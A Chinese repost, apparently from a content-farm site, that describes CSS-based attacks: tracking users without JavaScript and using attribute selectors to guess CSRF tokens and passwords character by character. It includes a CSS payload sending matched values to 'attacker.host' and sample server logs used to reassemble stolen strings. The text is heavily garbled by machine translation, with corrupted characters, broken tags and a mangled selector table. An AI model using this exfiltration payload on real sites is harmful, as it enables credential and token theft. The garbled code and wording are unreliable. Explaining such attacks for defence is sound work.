CSS工作原理是什么

  介绍

这篇文章主要介绍”CSS工作原理是什么”,在日常操作中,相信很多人在CSS工作原理是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答“CSS工作原理是什么”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

<强> CSS不仅在网页展现时强大,在追踪用户时也能发挥作用。它能够追踪网站用户,从网页中提取和窃取数据,收集表单域中输入的数据(包括密码),甚至让暗网用户暴露身份。

在过去的一个月里,三个有趣的研究项目都把CSS作为攻击媒介,显示了这种看似无害的语言也能被用来针对用户。

使用CSS跟踪页面上的用户

关于这个主题的第一个项目是JanB吗?英国的一个项目“弯曲的样式表”,这个项目提供了一个无JavaScript的跟踪方案,可以通过CSS代码的页面交互跟踪用户。

B ?hm表示,他可以跟踪用户何时悬停鼠标,何时点击链接,何时在输入字段中输入文本,以及收集大量真实的用户代理信息,即便用户使用假的UA也没有用。

使用CSS窃取CSRF标记

与B ?hm的工作不同,安全研究人员迪伦Ayrey (XSSJacking作者)也在上周末发布了新的研究成果,展示攻击者如何滥用CSS来窃取CSRF(用户身份验证)令牌。

Ayrey的攻击只适用于在各种HTML页面元素的属性中存储CSRF令牌的严重错误的网站和应用程序,因此其范围非常有限。这种攻击可能很容易被网站/应用程序所有者击败,他们发现一种更安全的方式来验证用户,而不会在网页的源代码中倾销CSRF令牌。

Ayrey的技术依赖于在网页中注入CSS代码,使用CSS属性选择器每次猜解CSRF令牌的一个字母。

攻击需要10秒钟左右完成,甚至可以在不需要iframe的情况下工作,不需要持续流量的远程服务器也就没有机会提醒出现问题的用户。

CSS属性选择器的威胁不止于此

Ayrey的研究只是停留在表面。过去的一个月中,安全研究员麦克Gualtieri也一直在努力使用相同的技术,但不仅仅是窃取令牌。

Gualtieri研究的是如何使用CSS属性选择器来猜测留在HTML标签内的敏感内容。

研究人员能够利用这种方法收集在表单域中输入的敏感用户数据,包括密码字符串。

工作原理

Ayrey和Gualtieri的方法都利用了CSS属性选择器,属性选择器能让开发人员查询单个属性的页面HTML标记,并且匹配它们的值。

举个例子,下面的CSS代码将搜索页面中的“href”属性包含“facebook”字符串的链接元素(“a”),并将所有这些链接加上蓝色。

 <代码> (href *=癴acebook") {
  ,颜色:蓝色;
  }

这些查询看似无害,但在研究人员看来可能被用来实施攻击。

这些查询可以拼接在一起,执行基本的字典暴力攻击,并尝试猜测属性的起始字母,然后将识别的字母添加到新的模式匹配语法中,从而攻击者可以猜解第二个,第三个等字母。

(属性=值),,(foo=bar),,,,选择foo=熬瓢伞钡乃性?/p>

(属性~=值),(foo ~=bar),,,选择所有包含单词“酒吧”的foo属性的元素

(属性|=值),(foo |=bar),,,选择所有具有以“酒吧”开头的foo属性值的元素

(属性^=值),(foo ^=癰ar"),选择所有具有以“酒吧”开头的foo属性值的元素

(属性=美元值),(foo $=癰ar"),选择所有具有以“酒吧”结尾的foo属性值的元素

(属性*=值),(foo *=癰ar"),选择所有包含子字符串“酒吧”的foo属性的元素

攻击者需要构造恶意HTTP请求,执行CSS代码选择器。

 <代码> #用户名(value=https://www.yisu.com/zixun/癦eroC00L”) {
  背景:url (“https://attacker.host/ZeroC00L”);
  }

攻击者只需要通过对服务器404的错误筛选,找出想要的结果。

 <代码> 127.0.0.1——[-0500/1月/2018:11:09:35]“GET/00 HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:35]“GET/0 l HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/泽HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/Z_ HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/ro HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/oC HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/_L HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/er HTTP/1.1“;404年22日
  127.0.0.1——[-0500/1月/2018:11:09:36]“GET/C0 HTTP/1.1“;404年22日

之后再把字符串组合成完整的数据

CSS工作原理是什么